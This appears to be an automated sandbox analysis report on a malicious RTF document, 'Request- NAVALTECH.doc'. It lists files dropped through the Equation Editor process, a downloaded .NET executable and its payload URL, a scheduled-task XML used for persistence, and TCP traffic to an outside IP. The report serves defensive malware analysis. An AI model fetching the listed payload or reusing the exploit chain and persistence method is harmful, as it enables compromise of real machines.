Preview:	MSCF............,...................I........T.........R.. .authroot.stl.ym&7.5..CK..8T....c_.d...:.(.....].M$[v.4.).E.$7I.....e..Y..Rq...3.n..u..............\|..=H....&..1.1..f.L..>e.6....F8.X.b.1$,.a...n-......D..a....[.....i,+.+..<.b._#...G..U.....n..21pa..>.32..Y..j...;Ay........n/R... ._.+..<...Am.t.<. ..V..y`.yO..e@../...<#..#......dju..B......8..H'..lr.....l.I6/..d.].xIX<...&U...GD..Mn.y&.[<(tk.....%B.b;./..`.#h....C.P...B..8d.F...D.k........... 0..w...@(.. @K....?.)ce........\.\......l......Q.Qd..+...@.X..##3..M.d..n6.....p1..)...x0V...ZK.{...{.=#h.v.).....b.....[...L..c..a..,...E5X..i.d..w.....#o+.........X.P...k...V.$...X.r.e....9E.x..=\...Km.......B...Ep...xl@@c1.....p?...d.{EYN.K.X>D3..Z..q.] .Mq.........L.n}........+/l\.cDB0.'.Y...r.[.........vM...o.=....zK..r..l..>B....U..3....Z...ZjS...wZ.M...IW;..e.L...zC.wBtQ..&.Z.Fv+..G9.8..!..\T:K`......m.........9T.u..3h.....{...d[...@...Q.?..p.e.t[.%7..........^.....s.

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 Download File
Process:	C:\Users\user\AppData\Roaming\believeoaid.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.0740541519351776
Encrypted:	false
SSDEEP:	6:kKRsbqoN+SkQlPlEGYRMY9z+4KlDA3RUeKlF+adAlf:v3kPlE99SNxAhUeo+aKt
MD5:	7F34F3742AE1FF8FE1BA2A63E61D1576
SHA1:	4499F0A7788BA6CEB057EFBBACF190A2F9ACED28
SHA-256:	7A892C13F5A70812E92062F68D4C19F95DC8A433A0D69EEC1ACF28D72272C7F6
SHA-512:	217C1556A749B15C0AC9FBEDF991684CBEF888657C169B0B8CC606F943904CB15952EE5F17AE5600391CB70C6911EC51607804DF9BDC815800BEAA1D9ABFDB5B
Malicious:	false
Reputation:	low
Preview:	p...... .........0h+...(....................................................... ..................&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".0.e.b.b.a.e.1.d.7.e.a.d.6.1.:.0."...

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\KlalU0GjxacVNEE[1].exe Download File
Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	downloaded
Size (bytes):	1074688
Entropy (8bit):	7.533160595525923
Encrypted:	false
SSDEEP:	12288:H0d5gipAhZFnAz6oRPB+5k2tIF6Er/O/7EUbOF8nL2PFIq5QXKS8:H0d2ewPng9RJ+qWPFzzb+Neq68
MD5:	17FF2AD2A2B117AAE7C52B34141CAEF1
SHA1:	19E7519CEFDC5DEDAF615FD618590A036EE304A6
SHA-256:	E9BCC9A1FCBBD9BABA9DCC76038561C3513D624A7D1DE140D31601216390A017
SHA-512:	F9EADAD6B7ADB4825D57EA8061AA8A0B0E61CF25FB5BC7F6161DE6CF2AC396F3575E7DF12DE782E3B5C05E264493780C482540A0AEB58B0AF9D7089C2AACB43C
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
IE Cache URL:	http://globalteamacademy.com/docct/zic/KlalU0GjxacVNEE.exe
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....3.`..............P..J...........h... ........@.. ....................................@.................................Lh..O.................................................................................... ............... ..H............text....H... ...J.................. ..`.rsrc................L..............@..@.reloc...............d..............@..B.................h......H............i..............xv...........................................0............(,...(-.........(.....o..........................(/......(0......(1......(2......(3....N..(....o....(4....&..(5.....s6........s7........s8........s9........s:............0...........~....o;....+...0...........~....o<....+...0...........~....o=....+...0...........~....o>....+...0...........~....o?....+..&..(@....*...0..<........~.....(A.....,!r...p.....(B...oC...sD............~.....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{9CA5B12C-492C-4E57-AE2D-0E7798ADDEF4}.tmp Download File
Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	0.9439842093199209
Encrypted:	false
SSDEEP:	6:5ogpVrNNgREqAWlgFJiG1Dlll8vlwQFwQFrB:5pBk5uFJT17uvqQKQZB
MD5:	0276D8101D7333D38E355B9F4C513E69
SHA1:	A439C1561EF1F6A496CF431EBC14CD51BDDA028C
SHA-256:	1193CC15166E549A32B86A70669E2AD78F93F216A01238B9EF0483D2B3D8561B
SHA-512:	0DF94540287E8C7169BFBF2107181EC5F901925D046DFE55D7568E2C418FC718ED9A20DECD49810FB865DF474C56C76457F62BBA0A233AEE88FE5434FD3E26F9
Malicious:	false
Reputation:	low
Preview:	_.3.4.0.2.9.7.9.3.8.6.9.0.9.0.=......... .E.q.u.a.t.i.o.n...3.E.M.B.E.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................. ..."...(...............................................................................................................................................................................................................................................................................................................................................................................................................................j....CJ..OJ..QJ..U..^J..aJ.. .j.C.c...CJ..OJ..QJ..U..^J..aJ.

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{E1AE526A-72A2-4470-89E8-B7D87A58E0E0}.tmp Download File
Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	0.05390218305374581
Encrypted:	false
SSDEEP:	3:ol3lYdn:4Wn
MD5:	5D4D94EE7E06BBB0AF9584119797B23A
SHA1:	DBB111419C704F116EFA8E72471DD83E86E49677
SHA-256:	4826C0D860AF884D3343CA6460B0006A7A2CE7DBCCC4D743208585D997CC5FD1
SHA-512:	95F83AE84CAFCCED5EAF504546725C34D5F9710E5CA2D11761486970F2FBECCB25F9CF50BBFC272BD75E1A66A18B7783F09E1C1454AFDA519624BC2BB2F28BA4
Malicious:	false
Reputation:	high, very likely benign file
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\CabE755.tmp Download File
Process:	C:\Users\user\AppData\Roaming\believeoaid.exe
File Type:	Microsoft Cabinet archive data, 59134 bytes, 1 file
Category:	dropped
Size (bytes):	59134
Entropy (8bit):	7.995450161616763
Encrypted:	true
SSDEEP:	1536:R695NkJMM0/7laXXHAQHQaYfwlmz8efIqigYDff:RN7MlanAQwEIztTk
MD5:	E92176B0889CC1BB97114BEB2F3C1728
SHA1:	AD1459D390EC23AB1C3DA73FF2FBEC7FA3A7F443
SHA-256:	58A4F38BA43F115BA3F465C311EAAF67F43D92E580F7F153DE3AB605FC9900F3
SHA-512:	CD2267BA2F08D2F87538F5B4F8D3032638542AC3476863A35F0DF491EB3A84458CE36C06E8C1BD84219F5297B6F386748E817945A406082FA8E77244EC229D8F
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	MSCF............,...................I........T.........R.. .authroot.stl.ym&7.5..CK..8T....c_.d...:.(.....].M$[v.4.).E.$7I.....e..Y..Rq...3.n..u..............\|..=H....&..1.1..f.L..>e.6....F8.X.b.1$,.a...n-......D..a....[.....i,+.+..<.b._#...G..U.....n..21pa..>.32..Y..j...;Ay........n/R... ._.+..<...Am.t.<. ..V..y`.yO..e@../...<#..#......dju..B......8..H'..lr.....l.I6/..d.].xIX<...&U...GD..Mn.y&.[<(tk.....%B.b;./..`.#h....C.P...B..8d.F...D.k........... 0..w...@(.. @K....?.)ce........\.\......l......Q.Qd..+...@.X..##3..M.d..n6.....p1..)...x0V...ZK.{...{.=#h.v.).....b.....[...L..c..a..,...E5X..i.d..w.....#o+.........X.P...k...V.$...X.r.e....9E.x..=\...Km.......B...Ep...xl@@c1.....p?...d.{EYN.K.X>D3..Z..q.] .Mq.........L.n}........+/l\.cDB0.'.Y...r.[.........vM...o.=....zK..r..l..>B....U..3....Z...ZjS...wZ.M...IW;..e.L...zC.wBtQ..&.Z.Fv+..G9.8..!..\T:K`......m.........9T.u..3h.....{...d[...@...Q.?..p.e.t[.%7..........^.....s.

C:\Users\user\AppData\Local\Temp\TarE756.tmp Download File
Process:	C:\Users\user\AppData\Roaming\believeoaid.exe
File Type:	data
Category:	modified
Size (bytes):	152788
Entropy (8bit):	6.316654432555028
Encrypted:	false
SSDEEP:	1536:WIA6c7RbAh/E9nF2hspNuc8odv+1//FnzAYtYyjCQxSMnl3xlUwg:WAmfF3pNuc7v+ltjCQSMnnSx
MD5:	64FEDADE4387A8B92C120B21EC61E394
SHA1:	15A2673209A41CCA2BC3ADE90537FE676010A962
SHA-256:	BB899286BE1709A14630DC5ED80B588FDD872DB361678D3105B0ACE0D1EA6745
SHA-512:	655458CB108034E46BCE5C4A68977DCBF77E20F4985DC46F127ECBDE09D6364FE308F3D70295BA305667A027AD12C952B7A32391EFE4BD5400AF2F4D0D830875
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	0..T....H.........T.0..T....1.0...`.H.e......0..D...+.....7.....D.0..D.0...+.....7..........R19%..210115004237Z0...+......0..D.0.......`...@.,..0..0.r1...0...+.....7..~1......D...0...+.....7..i1...0...+.....7<..0 ..+.....7...1.......@N...%.=.,..0$..+.....7...1......`@V'..%..*..S.Y.00..+.....7..b1". .].L4.>..X...E.W..'..........-@w0Z..+.....7...1L.JM.i.c.r.o.s.o.f.t. .R.o.o.t. .C.e.r.t.i.f.i.c.a.t.e. .A.u.t.h.o.r.i.t.y...0..,...........[./..uIv..%1...0...+.....7..h1.....6.M...0...+.....7..~1...........0...+.....7...1...0...+.......0 ..+.....7...1...O..V.........b0$..+.....7...1...>.)....s,.=$.~R.'..00..+.....7..b1". [x.....[....3x:_....7.2...Gy.cS.0D..+.....7...16.4V.e.r.i.S.i.g.n. .T.i.m.e. .S.t.a.m.p.i.n.g. .C.A...0......4...R....2.7.. ...1..0...+.....7..h1......o&...0...+.....7..i1...0...+.....7<..0 ..+.....7...1...lo...^....[...J@0$..+.....7...1...J\u".F....9.N...`...00..+.....7..b1". ...@.....G..d..m..$.....X...}0B..+.....7...14.2M.i.c.r.o.s.o.f.t. .R.o.o.t. .A.u.t.h.o

C:\Users\user\AppData\Local\Temp\tmpFCA8.tmp Download File
Process:	C:\Users\user\AppData\Roaming\believeoaid.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1618
Entropy (8bit):	5.147135942800016
Encrypted:	false
SSDEEP:	24:2dH4+SEqCZ7ClNMFi/rlMhEMjnGpwjpIgUYODOLD9RJh7h8gKBctn:cbhZ7ClNQi/rydbz9I3YODOLNdq3M
MD5:	3D3DA7E2598BC14F2F88DECCFFA91FE5
SHA1:	578A24802CEBB571292FF7BC3E8CCE2D0EE2316C
SHA-256:	10E02225A6EA057E71540096CF8E99C392D75969725FB782B3D7236C8B7D7DB0
SHA-512:	F17A3B352FDBB40B05A8307F0CC004D030ABDAF058864E69391C9752FCBEE5A33ADF4AD93468DA8F02DB272368515BAC0CDC1D5AD8DC00711586091CCA3B236D
Malicious:	true
Preview:	<?xml version="1.0" encoding="UTF-16"?>..<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">.. <RegistrationInfo>.. <Date>2014-10-25T14:27:44.8929027</Date>.. <Author>user-PC\user</Author>.. </RegistrationInfo>.. <Triggers>.. <LogonTrigger>.. <Enabled>true</Enabled>.. <UserId>user-PC\user</UserId>.. </LogonTrigger>.. <RegistrationTrigger>.. <Enabled>false</Enabled>.. </RegistrationTrigger>.. </Triggers>.. <Principals>.. <Principal id="Author">.. <UserId>user-PC\user</UserId>.. <LogonType>InteractiveToken</LogonType>.. <RunLevel>LeastPrivilege</RunLevel>.. </Principal>.. </Principals>.. <Settings>.. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>.. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>.. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>.. <AllowHardTerminate>false</AllowHardTerminate>.. <StartWhenAvailable>true</StartWhenAvailable>

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Request- NAVALTECH.LNK Download File
Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 26 14:08:13 2020, mtime=Wed Aug 26 14:08:13 2020, atime=Thu Feb 4 16:55:34 2021, length=1625905, window=hide
Category:	dropped
Size (bytes):	2108
Entropy (8bit):	4.589474494957913
Encrypted:	false
SSDEEP:	24:86zW/XTwz6IknvnDFAwmeDzF6NDv3q8dM7dD26zW/XTwz6IknvnDFAwmeDzF6NDK:86zW/XT3IkIob8Qh26zW/XT3IkIob8Q/
MD5:	31FCFA049DD22C879C0122FD99A51889
SHA1:	4DD88256B0918E6D52BD3D43BE06FB294CEF8BB5
SHA-256:	6BED37E5FE2C6F74ECC1BAF126916C1AFB0E5E2D972B3913203CFAFC8860F4CB
SHA-512:	D95493B13DE14F8161A556C19BC8167C6B9A03A9B09BA38690CA71FB85D6DA33F05D92A2B42D816CC74928749E5786778975A53A431ACC086C0EE88B33CB22DC
Malicious:	false
Preview:	L..................F.... ....+..{...+..{...`......1............................P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1......Q.y..user.8......QK.X.Q.y...&=....U...............A.l.b.u.s.....z.1......Q.y..Desktop.d......QK.X.Q.y..._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.....v.2.1...DR. .REQUES~1.DOC..Z.......Q.y.Q.y...8.....................R.e.q.u.e.s.t.-. .N.A.V.A.L.T.E.C.H...d.o.c.......................-...8...[............?J......C:\Users\..#...................\\910646\Users.user\Desktop\Request- NAVALTECH.doc.-.....\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.R.e.q.u.e.s.t.-. .N.A.V.A.L.T.E.C.H...d.o.c.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.......X.......910646..........D_....3N...W..

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat Download File
Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	92
Entropy (8bit):	4.661207814744003
Encrypted:	false
SSDEEP:	3:M1hQ9zkpxgM6lvKzkpxgM6lmX1hQ9zkpxgM6lv:M3Q9zZMKKzZMDQ9zZMI
MD5:	AA1ED7E90FB117888C0D5E192636A637
SHA1:	D6B3B37E27A71DC05B27BAF4DB6615C3DEA58EBC
SHA-256:	2D4FE228166A2D778F6232FE49CD3192F1F9AB58938B94A14464691F306281DA
SHA-512:	1331163CA40F0F5B2FA974EB8F6BCA779657632BDC36247D146E485FA5EC8A0AE4829074EE027705B0B84A0B32C8A51F1DD6AFD85FD23590C2BED9F49B5D86E3
Malicious:	false
Preview:	[doc]..Request- NAVALTECH.LNK=0..Request- NAVALTECH.LNK=0..[doc]..Request- NAVALTECH.LNK=0..

C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm Download File
Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.431160061181642
Encrypted:	false
SSDEEP:	3:vrJlaCkWtVyVGlB4fpgOGwOAM2iKGlH/ln:vdsCkWtIyefOT9l
MD5:	A534FC263736945E165D8060158E52C3
SHA1:	880F5FA90765FDEF1D048AC65EB43DFB9BCCD2A3
SHA-256:	BA319ED8CECAF867117605B12372B2C60A346FFD68C52B9519595961541ACF46
SHA-512:	001BDEB7AC3AF6266DEFFD97296896BACDDE99603238624B559674462256263723E2FDA73F1523821276CB64E5C29A276F4FFC84038056942B8EEB26CD37669E
Malicious:	false
Preview:	.user..................................................A.l.b.u.s.............p.........k...............k.............P.k..............k.....z.........k.....x...

C:\Users\user\AppData\Roaming\believeoaid.exe Download File
Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1074688
Entropy (8bit):	7.533160595525923
Encrypted:	false
SSDEEP:	12288:H0d5gipAhZFnAz6oRPB+5k2tIF6Er/O/7EUbOF8nL2PFIq5QXKS8:H0d2ewPng9RJ+qWPFzzb+Neq68
MD5:	17FF2AD2A2B117AAE7C52B34141CAEF1
SHA1:	19E7519CEFDC5DEDAF615FD618590A036EE304A6
SHA-256:	E9BCC9A1FCBBD9BABA9DCC76038561C3513D624A7D1DE140D31601216390A017
SHA-512:	F9EADAD6B7ADB4825D57EA8061AA8A0B0E61CF25FB5BC7F6161DE6CF2AC396F3575E7DF12DE782E3B5C05E264493780C482540A0AEB58B0AF9D7089C2AACB43C
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....3.`..............P..J...........h... ........@.. ....................................@.................................Lh..O.................................................................................... ............... ..H............text....H... ...J.................. ..`.rsrc................L..............@..@.reloc...............d..............@..B.................h......H............i..............xv...........................................0............(,...(-.........(.....o..........................(/......(0......(1......(2......(3....N..(....o....(4....&..(5.....s6........s7........s8........s9........s:............0...........~....o;....+...0...........~....o<....+...0...........~....o=....+...0...........~....o>....+...0...........~....o?....+..&..(@....*...0..<........~.....(A.....,!r...p.....(B...oC...sD............~.....

C:\Users\user\AppData\Roaming\fjctND.exe Download File
Process:	C:\Users\user\AppData\Roaming\believeoaid.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1074688
Entropy (8bit):	7.533160595525923
Encrypted:	false
SSDEEP:	12288:H0d5gipAhZFnAz6oRPB+5k2tIF6Er/O/7EUbOF8nL2PFIq5QXKS8:H0d2ewPng9RJ+qWPFzzb+Neq68
MD5:	17FF2AD2A2B117AAE7C52B34141CAEF1
SHA1:	19E7519CEFDC5DEDAF615FD618590A036EE304A6
SHA-256:	E9BCC9A1FCBBD9BABA9DCC76038561C3513D624A7D1DE140D31601216390A017
SHA-512:	F9EADAD6B7ADB4825D57EA8061AA8A0B0E61CF25FB5BC7F6161DE6CF2AC396F3575E7DF12DE782E3B5C05E264493780C482540A0AEB58B0AF9D7089C2AACB43C
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....3.`..............P..J...........h... ........@.. ....................................@.................................Lh..O.................................................................................... ............... ..H............text....H... ...J.................. ..`.rsrc................L..............@..@.reloc...............d..............@..B.................h......H............i..............xv...........................................0............(,...(-.........(.....o..........................(/......(0......(1......(2......(3....N..(....o....(4....&..(5.....s6........s7........s8........s9........s:............0...........~....o;....+...0...........~....o<....+...0...........~....o=....+...0...........~....o>....+...0...........~....o?....+..&..(@....*...0..<........~.....(A.....,!r...p.....(B...oC...sD............~.....

C:\Users\user\Desktop\~$quest- NAVALTECH.doc Download File
Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.431160061181642
Encrypted:	false
SSDEEP:	3:vrJlaCkWtVyVGlB4fpgOGwOAM2iKGlH/ln:vdsCkWtIyefOT9l
MD5:	A534FC263736945E165D8060158E52C3
SHA1:	880F5FA90765FDEF1D048AC65EB43DFB9BCCD2A3
SHA-256:	BA319ED8CECAF867117605B12372B2C60A346FFD68C52B9519595961541ACF46
SHA-512:	001BDEB7AC3AF6266DEFFD97296896BACDDE99603238624B559674462256263723E2FDA73F1523821276CB64E5C29A276F4FFC84038056942B8EEB26CD37669E
Malicious:	false
Preview:	.user..................................................A.l.b.u.s.............p.........k...............k.............P.k..............k.....z.........k.....x...

Static File Info

General
File type:	Rich Text Format data, unknown version
Entropy (8bit):	4.001418535644501
TrID:	Rich Text Format (5005/1) 55.56% Rich Text Format (4004/1) 44.44%
File name:	Request- NAVALTECH.doc
File size:	1625905
MD5:	7e478136a1f65e898b0acceb991c9125
SHA1:	f6896aca338d9c1c3be63101e251cb01f8e428d6
SHA256:	a51aad6097aa1f5f75d727fc668da3c0cba5ee7ef59f1929ad5bfc80e51aeec1
SHA512:	630a63f5eab5449b5e10c4951015321574b55548d45121d8c7384bc2335995d52c72a46f63f246756d0266912a2a4b6b3e3f5351b16def48214c0d367cb0ab22
SSDEEP:	24576:9BSVPIyw+K8cTPkqH3pkg8ik3K3t3QA39KKLWjLAbppLWO+QMzPe0qe2AEPI0JR3:L
File Content Preview:	{\rtf6340{\object8176408\objlink\objw8746\objh3482{\\objdata844316 {\\mcGp34029793869090.34029793869090\\.34029793869090 \\mcGp34029793869090.34029793869090\*\.34029793869090} \..

File Icon


Icon Hash:	e4eea2aaa4b4b4a4

Static RTF Info

Objects

Id	Start	Format ID	Format	Classname	Datasize	Filename	Sourcepath	Temppath	Exploit
0	0000003Fh								no

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 4, 2021 09:55:36.422734976 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:36.619611979 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:36.619762897 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:36.620105982 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:36.817130089 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:36.825108051 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:36.825153112 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:36.825189114 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:36.825211048 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:36.825228930 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:36.825246096 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:36.825248957 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:36.825268030 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:36.825279951 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:36.825306892 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:36.825316906 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:36.825345993 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:36.825357914 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:36.825398922 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:36.825409889 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:36.825460911 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:36.825469017 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:36.825535059 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:36.825575113 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:36.825593948 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:36.831207037 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.022319078 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.022355080 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.022368908 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.022387028 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.022398949 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.022417068 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.022437096 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.022455931 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.022474051 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.022490978 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.022496939 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.022511005 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.022527933 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.022532940 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.022536993 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.022540092 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.022567034 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.022588015 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.022614956 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.022633076 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.022640944 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.022650957 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.022665024 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.022670031 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.022681952 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.022686958 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.022700071 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.022705078 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.022715092 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.022742033 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.022753954 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.023927927 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.219257116 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.219285011 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.219297886 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.219310999 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.219455957 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.219506025 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.219510078 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.219512939 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.219548941 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.219572067 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.219604015 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.219619989 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.219634056 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.219686985 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.219722033 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.219769955 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.219773054 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.219794035 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.219809055 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.219818115 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.219821930 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.219834089 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.219850063 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.219857931 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.219870090 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.219878912 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.219887972 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.219897985 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.219904900 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.219904900 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.219908953 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.219913960 CET	49165	80	192.168.2.22	43.252.37.193
